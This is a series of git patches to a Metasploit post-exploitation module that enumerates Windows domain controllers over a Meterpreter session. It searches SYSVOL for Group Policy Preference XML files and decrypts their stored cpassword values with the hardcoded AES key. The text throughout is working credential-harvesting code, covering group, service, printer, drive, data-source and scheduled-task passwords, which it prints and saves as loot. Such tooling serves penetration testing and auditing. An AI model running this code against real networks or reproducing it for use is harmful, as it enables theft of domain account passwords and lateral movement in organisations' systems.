'License' => MSF_LICENSE, - 'Version' => '$Revision: 0.1 $', - 'Platform' => ['windows'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Meatballs'] - )) - end - - def reg_getvaldata(key,valname) - value = nil - begin - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) - v = open_key.query_value(valname) - value = v.data - open_key.close - rescue - end - return value - end - - def get_domain_controller() - domain = nil - begin - subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" - v_name = "DCName" - domain_controller = reg_getvaldata(subkey, v_name) - rescue - print_error("This host is not part of a domain.") - end - - return domain_controller - end - - # Recursive function that enums specific subdirs through a list of regexs to a specific path. - def enum_subdirs(path, regex) - # The search function takes too long as not indexed. - # enum_groups_xml = session.fs.file.search(path, "Groups.xml", true, -1) - - enum_groups_xml = [] - current_regex = regex.pop - begin - session.fs.dir.foreach(path) do |sub| - next if sub =~ /^(\.|\.\.)$/ || !(sub =~ current_regex) - - xmlpath= "#{path}\\#{sub}" - - if regex.length == 0 - enum_groups_xml << xmlpath - else - enum_groups_xml += enum_subdirs(xmlpath, regex.clone) - end - end - rescue Rex::Post::Meterpreter::RequestError => e - # Permission errors - # print_error "Received error code #{e.code} when enumerating #{path}" - end - - return enum_groups_xml - end - - def get_xml(path) - begin - connections = client.fs.file.new(path, 'r') - - condata = '' - until connections.eof - condata << connections.read - end - return condata - rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} when reading #{path}" - return nil - end - end - - def parse_xml(data) - mxml = REXML::Document.new(data) - return_value = "" - mxml.elements.each("Groups/User/Properties") do |property| - - next if property.attributes["cpassword"].nil? - - username = property.attributes["userName"] - new_name = property.attributes["newName"] - action = property.attributes["action"] - disabled = property.attributes["acctDisabled"] - cpassword = property.attributes["cpassword"] - - password = decrypt(cpassword) - - if !new_name.to_s.empty? - username = new_name - end - - output = "username: #{username}, disabled: #{disabled}, password: #{password}, action: #{action}" - return_value << "#{username},#{disabled},#{password},#{action},\n" - print_good(output) - end - - return return_value - end - - def decrypt(password) - padding = "=" * (4 - (password.length % 4)) - password = Rex::Text.decode_base64(password + padding) - key = ["4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b"].pack("H*") - decrypt = OpenSSL::Cipher.new("aes-256-cbc") - decrypt.decrypt - decrypt.key = key - plaintext = decrypt.update(password) - plaintext << decrypt.final - - return plaintext - end - - def run - domain_controller = get_domain_controller() - if not domain_controller.nil? - print_good("FOUND Domain Controller: #{domain_controller}") - dom_info = domain_controller.split('.') - dom_info[0].sub!(/\\\\/,'') - - target_path = "#{domain_controller}\\SYSVOL\\#{dom_info[1]}.#{dom_info[2]}\\Policies" - - print_status("Searching #{target_path} for Groups.xml") - - regex = [ /^(Groups.xml)$/, /^(Groups)/, /^(Preferences)/, /^(Machine)/, /^(\{[\d\w-]*\})/ ] - csv = "username,disabled,password,action,\n" - - for result in enum_subdirs(target_path, regex) - xml = get_xml(result) - unless xml.nil? - csv << parse_xml(xml) - end - end - - print_status("Writing to loot...") - path = store_loot( - 'gpp.passwords', - 'text/plain', - session, - csv, - ) - print_status("Data saved in: #{path}") - - else - print_error("This host is not part of a domain.") - end - end -end From 5e64c2fb2e4ebe31f5ebe163f3a6ebda180db49d Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 21 Jun 2012 18:28:06 +0100 Subject: [PATCH 08/44] Will only enumerate one DC for each domain using the DOMAINS arg --- modules/post/windows/gather/credentials/gpp.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index cb74f30c19..309620a9b2 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -70,7 +70,8 @@ class Metasploit3 < Msf::Post print_status "User supplied domains #{user_domains}" user_domains.each do |domain_name| - dcs << enum_dcs(domain_name) + found_dcs = enum_dcs(domain_name) + dcs << found_dcs[0] unless found_dcs.to_a.empty? end elsif datastore['ALL'] enum_domains.each do |domain| From 6768549c6d99315c4873fe7d75ac96c2ca5a751e Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 21 Jun 2012 18:46:20 +0100 Subject: [PATCH 09/44] Fixed msftidy error --- .../post/windows/gather/credentials/gpp.rb | 48 +++++++++---------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 309620a9b2..7a06fa1f7d 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -18,14 +18,14 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Gather Group Policy Preferences Saved Password Extraction', 'Description' => %q{ This module enumerates the victim machine's domain controller and - connects to it via SMB. It then looks for Group Policy Preference XML - files containing local user accounts and passwords. It then parses the + connects to it via SMB. It then looks for Group Policy Preference XML + files containing local user accounts and passwords. It then parses the XML files and decrypts the passwords. - + Users can specify DOMAINS="domain1 domain2 domain3 etc" to target specific domains on the network. This module will enumerate any domain controllers for those domains. - + Users can specify ALL=True to target all domains and their domain controllers on the network. @@ -40,14 +40,14 @@ class Metasploit3 < Msf::Post 'Rob Fuller ', #domain/dc enumeration code 'Joshua Abraham ' #enum_domain.rb code ], - 'References' => + 'References' => [ ['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'] ], 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] )) - + register_options( [ OptBool.new('CURRENT', [ false, 'Enumerate current machine domain.', true]), @@ -64,11 +64,11 @@ class Metasploit3 < Msf::Post dcs = [] paths = [] - + if !datastore['DOMAINS'].to_s.empty? user_domains = datastore['DOMAINS'].to_s.split(' ') print_status "User supplied domains #{user_domains}" - + user_domains.each do |domain_name| found_dcs = enum_dcs(domain_name) dcs << found_dcs[0] unless found_dcs.to_a.empty? @@ -80,8 +80,8 @@ class Metasploit3 < Msf::Post print_status "Skipping '#{domain_name}'..." next end - - found_dcs = enum_dcs(domain_name) + + found_dcs = enum_dcs(domain_name) # We only wish to enumerate one DC for each Domain. dcs << found_dcs[0] unless found_dcs.to_a.empty? end @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Post else print_error "Invalid Arguments, please supply one of CURRENT, ALL or DOMAINS arguments" return nil - end + end dcs = dcs.flatten.compact dcs.each do |dc| @@ -121,7 +121,7 @@ class Metasploit3 < Msf::Post tpath2 = "#{tpath}#{sub2}\\MACHINE\\Preferences\\Groups\\Groups.xml" begin paths << tpath2 if client.fs.file.stat(tpath2) - rescue + rescue next end end @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Post rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{path}" end - + return paths end @@ -139,8 +139,8 @@ class Metasploit3 < Msf::Post until groups.eof data = groups.read end - - domain = path.split('\\')[2] + + domain = path.split('\\')[2] return data, domain rescue print_status("The file #{path} either could not be read or does not exist") @@ -155,18 +155,18 @@ class Metasploit3 < Msf::Post user = node.attributes['userName'] newname = node.attributes['newName'] disabled = node.attributes['acctDisabled'] - + # Check if policy also specifies the user is renamed. if !newname.to_s.empty? user = newname end - + pass = decrypt(epassword) - + # UNICODE conversion pass = pass.unpack('v*').pack('C*') print_good("DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled}") - + if session.db_record source_id = session.db_record.id else @@ -200,14 +200,13 @@ class Metasploit3 < Msf::Post def enum_domains print_status "Enumerating Domains on the Network..." - domain_enum = 2147483648 # SV_TYPE_DOMAIN_ENUM = hex 80000000 + domain_enum = 80000000 # SV_TYPE_DOMAIN_ENUM = hex 80000000 buffersize = 500 result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) - # Estimate new buffer size on percentage recovered. percent_found = (result['entriesread'].to_f/result['totalentries'].to_f) buffersize = (buffersize/percent_found).to_i - + while result['return'] == 234 buffersize = buffersize + 500 result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) @@ -260,10 +259,10 @@ class Metasploit3 < Msf::Post print_good "DC Found: #{t[:dc_hostname]}" hostnames << t[:dc_hostname] end - + return hostnames end - + #enum_domain.rb def reg_getvaldata(key,valname) value = nil @@ -290,3 +289,4 @@ class Metasploit3 < Msf::Post return domain.sub!(/\\\\/,'') end end + From e0966d5a3a7b4dee14ea482c9f496d47d5718aaf Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 21 Jun 2012 19:20:34 +0100 Subject: [PATCH 10/44] Incorporated trolldbois comments about SYSTEM and changed date --- .../post/windows/gather/credentials/gpp.rb | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 7a06fa1f7d..298e8c3a17 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -28,9 +28,6 @@ class Metasploit3 < Msf::Post Users can specify ALL=True to target all domains and their domain controllers on the network. - - This module must be run under a domain user or the user will not have appropriate - permissions to read files from the domain controller(s). }, 'License' => MSF_LICENSE, 'Author' =>[ @@ -57,11 +54,6 @@ class Metasploit3 < Msf::Post end def run - if is_system? - print_error "This needs to be run as a Domain User, not SYSTEM" - return nil - end - dcs = [] paths = [] @@ -86,7 +78,7 @@ class Metasploit3 < Msf::Post dcs << found_dcs[0] unless found_dcs.to_a.empty? end elsif datastore['CURRENT'] - dcs << get_domain_controller() + dcs << get_domain_controller else print_error "Invalid Arguments, please supply one of CURRENT, ALL or DOMAINS arguments" return nil @@ -155,6 +147,7 @@ class Metasploit3 < Msf::Post user = node.attributes['userName'] newname = node.attributes['newName'] disabled = node.attributes['acctDisabled'] + changed = node.attributes['changed'] # Check if policy also specifies the user is renamed. if !newname.to_s.empty? @@ -165,7 +158,11 @@ class Metasploit3 < Msf::Post # UNICODE conversion pass = pass.unpack('v*').pack('C*') - print_good("DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled}") + print_good( + %Q{ + "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} + DISABLED: #{disabled} CHANGED: #{changed}" + }) if session.db_record source_id = session.db_record.id @@ -277,7 +274,7 @@ class Metasploit3 < Msf::Post return value end - def get_domain_controller() + def get_domain_controller domain = nil begin subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" From 9da2dd816cd733014736dcd273df0142108e4505 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 11:03:34 +0100 Subject: [PATCH 11/44] Fixed changed time to point to parent node --- .../post/windows/gather/credentials/gpp.rb | 35 +++++++++++++------ 1 file changed, 24 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 298e8c3a17..7459c1e530 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -147,7 +147,15 @@ class Metasploit3 < Msf::Post user = node.attributes['userName'] newname = node.attributes['newName'] disabled = node.attributes['acctDisabled'] - changed = node.attributes['changed'] + action = node.attributes['action'] + expires = node.attributes['expires'] + never_expires = node.attributes['neverExpires'] + description = node.attributes['description'] + full_name = node.attributes['fullName'] + no_change = node.attributes['noChange'] + change_logon = node.attributes['changeLogon'] + sub_authority = node.attributes['subAuthority'] + changed = node.parent.attributes['changed'] # n.b. parent attribute. # Check if policy also specifies the user is renamed. if !newname.to_s.empty? @@ -158,11 +166,7 @@ class Metasploit3 < Msf::Post # UNICODE conversion pass = pass.unpack('v*').pack('C*') - print_good( - %Q{ - "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} - DISABLED: #{disabled} CHANGED: #{changed}" - }) + print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled} CHANGED: #{changed}" if session.db_record source_id = session.db_record.id @@ -197,7 +201,7 @@ class Metasploit3 < Msf::Post def enum_domains print_status "Enumerating Domains on the Network..." - domain_enum = 80000000 # SV_TYPE_DOMAIN_ENUM = hex 80000000 + domain_enum = 80000000 # SV_TYPE_DOMAIN_ENUM buffersize = 500 result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) # Estimate new buffer size on percentage recovered. @@ -216,14 +220,15 @@ class Metasploit3 < Msf::Post base = 0 domains = [] mem = client.railgun.memread(startmem, 8*count) - count.times{|i| + count.times do |i| x = {} x[:platform] = mem[(base + 0),4].unpack("V*")[0] nameptr = mem[(base + 4),4].unpack("V*")[0] x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join domains << x base = base + 8 - } + end + return domains end @@ -270,7 +275,9 @@ class Metasploit3 < Msf::Post value = v.data open_key.close rescue + print_error e.message end + return value end @@ -281,9 +288,15 @@ class Metasploit3 < Msf::Post v_name = "DCName" domain = reg_getvaldata(subkey, v_name) rescue - print_error "This host is not part of a domain." + print_error e.message + end + + if domain.nil? + print_error "No domain controller retrieved - is this machine part of a domain?" + return nil + else + return domain.sub!(/\\\\/,'') end - return domain.sub!(/\\\\/,'') end end From 2a3cd6e343da61c44ee1a7ca92e176f054876ca3 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 11:14:19 +0100 Subject: [PATCH 12/44] References --- modules/post/windows/gather/credentials/gpp.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 7a06fa1f7d..a59d54491c 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -42,7 +42,8 @@ class Metasploit3 < Msf::Post ], 'References' => [ - ['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'] + ['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'], + ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'] ], 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] @@ -188,6 +189,7 @@ class Metasploit3 < Msf::Post padding = "=" * (4 - (encrypted_data.length % 4)) epassword = "#{encrypted_data}#{padding}" decoded = Rex::Text.decode_base64(epassword) + key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") aes.decrypt @@ -198,6 +200,7 @@ class Metasploit3 < Msf::Post return plaintext end + #enum_domains.rb def enum_domains print_status "Enumerating Domains on the Network..." domain_enum = 80000000 # SV_TYPE_DOMAIN_ENUM = hex 80000000 @@ -230,6 +233,7 @@ class Metasploit3 < Msf::Post return domains end + #enum_domains.rb def enum_dcs(domain) print_status("Enumerating DCs for #{domain}") domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL) @@ -277,6 +281,7 @@ class Metasploit3 < Msf::Post return value end + #enum_domain.rb def get_domain_controller() domain = nil begin From 391a92ccfdc638c6138ff8c7e0f33777a9945959 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 11:27:06 +0100 Subject: [PATCH 13/44] More verbose and specific exception handling --- .../post/windows/gather/credentials/gpp.rb | 33 +++++++++++-------- 1 file changed, 19 insertions(+), 14 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index e935daa890..643c8b56bb 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -109,15 +109,20 @@ class Metasploit3 < Msf::Post tpath = "#{path}#{sub}\\Policies\\" print_status "Looking in domain folder #{tpath}" # Enumerate policy folders {...} - session.fs.dir.foreach(tpath) do |sub2| - next if sub2 =~ /^(\.|\.\.)$/ - tpath2 = "#{tpath}#{sub2}\\MACHINE\\Preferences\\Groups\\Groups.xml" - begin - paths << tpath2 if client.fs.file.stat(tpath2) - rescue - next + begin + session.fs.dir.foreach(tpath) do |sub2| + next if sub2 =~ /^(\.|\.\.)$/ + tpath2 = "#{tpath}#{sub2}\\MACHINE\\Preferences\\Groups\\Groups.xml" + begin + paths << tpath2 if client.fs.file.stat(tpath2) + rescue Rex::Post::Meterpreter::RequestError => e + # No permissions for this specific file. + next + end end - end + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Received error code #{e.code} when reading #{tpath}" + end end rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{path}" @@ -135,8 +140,8 @@ class Metasploit3 < Msf::Post domain = path.split('\\')[2] return data, domain - rescue - print_status("The file #{path} either could not be read or does not exist") + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Received error code #{e.code} when reading #{path}" end end @@ -278,8 +283,8 @@ class Metasploit3 < Msf::Post v = open_key.query_value(valname) value = v.data open_key.close - rescue - print_error e.message + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Received error code #{e.code} - #{e.message} when reading the registry." end return value @@ -292,8 +297,8 @@ class Metasploit3 < Msf::Post subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" v_name = "DCName" domain = reg_getvaldata(subkey, v_name) - rescue - print_error e.message + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Received error code #{e.code} - #{e.message} when reading the registry." end if domain.nil? From 15a020dbdaa741beca9663f679198840e8bccc5f Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 11:36:27 +0100 Subject: [PATCH 14/44] Clear EOL chars --- modules/post/windows/gather/credentials/gpp.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 643c8b56bb..7e261b7721 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -122,7 +122,7 @@ class Metasploit3 < Msf::Post end rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{tpath}" - end + end end rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{path}" @@ -195,7 +195,7 @@ class Metasploit3 < Msf::Post padding = "=" * (4 - (encrypted_data.length % 4)) epassword = "#{encrypted_data}#{padding}" decoded = Rex::Text.decode_base64(epassword) - + key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") aes.decrypt From b2cb5c1c8efdb6845db8acf0dd903a0c353aa2ea Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 14:30:12 +0100 Subject: [PATCH 15/44] Included other policy files for enumeration --- .../post/windows/gather/credentials/gpp.rb | 259 ++++++++++++++---- 1 file changed, 201 insertions(+), 58 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 7e261b7721..30f5a3594e 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -56,7 +56,18 @@ class Metasploit3 < Msf::Post def run dcs = [] - paths = [] + group_paths = [] + group_path = "Groups\\Groups.xml" + service_paths = [] + service_path = "Services\\Services.xml" + printer_paths = [] + printer_path = "\rinters\\Printers.xml" + drive_paths = [] + drive_path = "Drives\\Drives.xml" + datasource_paths = [] + datasource_path = "Datasources\\DataSources.xml" + task_paths = [] + task_path = "ScheduledTasks\\ScheduledTasks.xml" if !datastore['DOMAINS'].to_s.empty? user_domains = datastore['DOMAINS'].to_s.split(' ') @@ -87,48 +98,87 @@ class Metasploit3 < Msf::Post dcs = dcs.flatten.compact dcs.each do |dc| - print_status "Recursively searching for Groups.xml on #{dc}..." - tmpath = "\\\\#{dc}\\SYSVOL\\" - paths << find_paths(tmpath) + print_status "Searching on #{dc}..." + sysvol_path = "\\\\#{dc}\\SYSVOL\\" + begin + # Enumerate domain folders + session.fs.dir.foreach(sysvol_path) do |domain_dir| + next if domain_dir =~ /^(\.|\.\.)$/ + domain_path = "#{sysvol_path}#{domain_dir}\\Policies\\" + print_status "Looking in domain folder #{domain_path}" + # Enumerate policy folders {...} + begin + session.fs.dir.foreach(domain_path) do |policy_dir| + next if policy_dir =~ /^(\.|\.\.)$/ + policy_path = "#{domain_path}\\#{policy_dir}" + group_paths << find_path(policy_path, group_path) + service_paths << find_path(policy_path, service_path) + printer_paths << find_path(policy_path, printer_path) + drive_paths << find_path(policy_path, drive_path) + datasource_paths << find_path(policy_path, datasource_path) + task_paths << find_path(policy_path, task_path) + end + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Received error code #{e.code} when reading #{tpath}" + end + end + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Received error code #{e.code} when reading #{tpath}" + end end - paths = paths.flatten.compact - paths.each do |path| - data, dc = get_xml(path) - parse_xml(data, dc) + group_paths = group_paths.flatten.compact + service_paths = service_paths.flatten.compact + printer_paths = printer_paths.flatten.compact + drive_paths = drive_paths.flatten.compact + datasource_paths = datasource_paths.flatten.compact + task_paths = task_paths.flatten.compact + + print_status "Results from Groups.xml:" + group_paths.each do |path| + mxml, dc = get_xml(path) + parse_group_xml(mxml, dc) + end + + print_status "Results from Services.xml:" + service_paths.each do |path| + mxml, dc = get_xml(path) + parse_service_xml(mxml, dc) + end + + print_status "Results from Printers.xml:" + printer_paths.each do |path| + mxml, dc = get_xml(path) + parse_printer_xml(mxml, dc) + end + + print_status "Results from Drives.xml:" + drive_paths.each do |path| + mxml, dc = get_xml(path) + parse_drive_xml(mxml, dc) + end + + print_status "Results from DataSources.xml:" + datasource_paths.each do |path| + mxml, dc = get_xml(path) + parse_datasource_xml(mxml, dc) + end + + print_status "Results from ScheduledTasks.xml:" + task_paths.each do |path| + mxml, dc = get_xml(path) + parse_scheduled_task_xml(mxml, dc) end - end - def find_paths(path) - paths=[] + def find_path(path, xml_path) + xml_path = "#{path}\\MACHINE\\Preferences\\#{xml_path}" begin - # Enumerate domain folders - session.fs.dir.foreach(path) do |sub| - next if sub =~ /^(\.|\.\.)$/ - tpath = "#{path}#{sub}\\Policies\\" - print_status "Looking in domain folder #{tpath}" - # Enumerate policy folders {...} - begin - session.fs.dir.foreach(tpath) do |sub2| - next if sub2 =~ /^(\.|\.\.)$/ - tpath2 = "#{tpath}#{sub2}\\MACHINE\\Preferences\\Groups\\Groups.xml" - begin - paths << tpath2 if client.fs.file.stat(tpath2) - rescue Rex::Post::Meterpreter::RequestError => e - # No permissions for this specific file. - next - end - end - rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} when reading #{tpath}" - end - end + return xml_path if client.fs.file.stat(xml_path) rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} when reading #{path}" + # No permissions for this specific file. end - - return paths + return nil end def get_xml(path) @@ -139,17 +189,105 @@ class Metasploit3 < Msf::Post end domain = path.split('\\')[2] - return data, domain + + mxml = REXML::Document.new(data).root + + return mxml, domain rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{path}" end end - - def parse_xml(data,domain_controller) - mxml = REXML::Document.new(data).root + + def parse_service_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? + + user = node.attributes['accountName'] + service_name = node.attributes['serviceName'] + + changed = node.parent.attributes['changed'] + + pass = decrypt(epassword) + + print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} SERVICE: #{service_name} CHANGED: #{changed}" + report_creds(user,pass) + end + end + + def parse_printer_xml(mxml,domain_controller) + mxml.elements.to_a("//Properties").each do |node| + epassword = node.attributes['cpassword'] + next if epassword.to_s.empty? + + user = node.attributes['username'] + path = node.attributes['path'] + + changed = node.parent.attributes['changed'] + + pass = decrypt(epassword) + + print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}" + report_creds(user,pass) + end + end + + def parse_drive_xml(mxml,domain_controller) + mxml.elements.to_a("//Properties").each do |node| + epassword = node.attributes['cpassword'] + next if epassword.to_s.empty? + + user = node.attributes['username'] + path = node.attributes['path'] + + changed = node.parent.attributes['changed'] + + pass = decrypt(epassword) + + print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}" + report_creds(user,pass) + end + end + + def parse_datasource_xml(mxml,domain_controller) + mxml.elements.to_a("//Properties").each do |node| + epassword = node.attributes['cpassword'] + next if epassword.to_s.empty? + + user = node.attributes['username'] + dsn = node.attributes['dsn'] + + changed = node.parent.attributes['changed'] + + pass = decrypt(epassword) + + print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DSN: #{dsn} CHANGED: #{changed}" + report_creds(user,pass) + end + end + + def parse_scheduled_task_xml(mxml,domain_controller) + mxml.elements.to_a("//Properties").each do |node| + epassword = node.attributes['cpassword'] + next if epassword.to_s.empty? + + user = node.attributes['runas'] + task_name = node.attributes['name'] + + changed = node.parent.attributes['changed'] + + pass = decrypt(epassword) + + print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} Task: #{task_name} CHANGED: #{changed}" + report_creds(user,pass) + end + end + + def parse_group_xml(mxml,domain_controller) + mxml.elements.to_a("//Properties").each do |node| + epassword = node.attributes['cpassword'] + next if epassword.to_s.empty? + user = node.attributes['userName'] newname = node.attributes['newName'] disabled = node.attributes['acctDisabled'] @@ -161,7 +299,8 @@ class Metasploit3 < Msf::Post no_change = node.attributes['noChange'] change_logon = node.attributes['changeLogon'] sub_authority = node.attributes['subAuthority'] - changed = node.parent.attributes['changed'] # n.b. parent attribute. + + changed = node.parent.attributes['changed'] # Check if policy also specifies the user is renamed. if !newname.to_s.empty? @@ -170,26 +309,29 @@ class Metasploit3 < Msf::Post pass = decrypt(epassword) - # UNICODE conversion - pass = pass.unpack('v*').pack('C*') print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled} CHANGED: #{changed}" - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => session.sock.peerhost, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass) + report_creds(user,pass) end end + + def report_creds(user, pass) + if session.db_record + source_id = session.db_record.id + else + source_id = nil + end + + report_auth_info( + :host => session.sock.peerhost, + :port => 445, + :sname => 'smb', + :proto => 'tcp', + :source_id => source_id, + :source_type => "exploit", + :user => user, + :pass => pass) + end def decrypt(encrypted_data) padding = "=" * (4 - (encrypted_data.length % 4)) @@ -202,8 +344,9 @@ class Metasploit3 < Msf::Post aes.key = key plaintext = aes.update(decoded) plaintext << aes.final - - return plaintext + pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion + + return pass end #enum_domains.rb From 7a4bd2613237a40b8841638e425a0cc5549f28ea Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 14:36:29 +0100 Subject: [PATCH 16/44] Fixed msftidy eol --- .../post/windows/gather/credentials/gpp.rb | 78 +++++++++---------- 1 file changed, 39 insertions(+), 39 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 30f5a3594e..8b62ea60ab 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Post next if policy_dir =~ /^(\.|\.\.)$/ policy_path = "#{domain_path}\\#{policy_dir}" group_paths << find_path(policy_path, group_path) - service_paths << find_path(policy_path, service_path) + service_paths << find_path(policy_path, service_path) printer_paths << find_path(policy_path, printer_path) drive_paths << find_path(policy_path, drive_path) datasource_paths << find_path(policy_path, datasource_path) @@ -133,37 +133,37 @@ class Metasploit3 < Msf::Post drive_paths = drive_paths.flatten.compact datasource_paths = datasource_paths.flatten.compact task_paths = task_paths.flatten.compact - + print_status "Results from Groups.xml:" group_paths.each do |path| mxml, dc = get_xml(path) parse_group_xml(mxml, dc) end - + print_status "Results from Services.xml:" service_paths.each do |path| mxml, dc = get_xml(path) parse_service_xml(mxml, dc) end - + print_status "Results from Printers.xml:" printer_paths.each do |path| mxml, dc = get_xml(path) parse_printer_xml(mxml, dc) end - + print_status "Results from Drives.xml:" drive_paths.each do |path| mxml, dc = get_xml(path) parse_drive_xml(mxml, dc) end - + print_status "Results from DataSources.xml:" datasource_paths.each do |path| mxml, dc = get_xml(path) parse_datasource_xml(mxml, dc) end - + print_status "Results from ScheduledTasks.xml:" task_paths.each do |path| mxml, dc = get_xml(path) @@ -189,95 +189,95 @@ class Metasploit3 < Msf::Post end domain = path.split('\\')[2] - + mxml = REXML::Document.new(data).root - + return 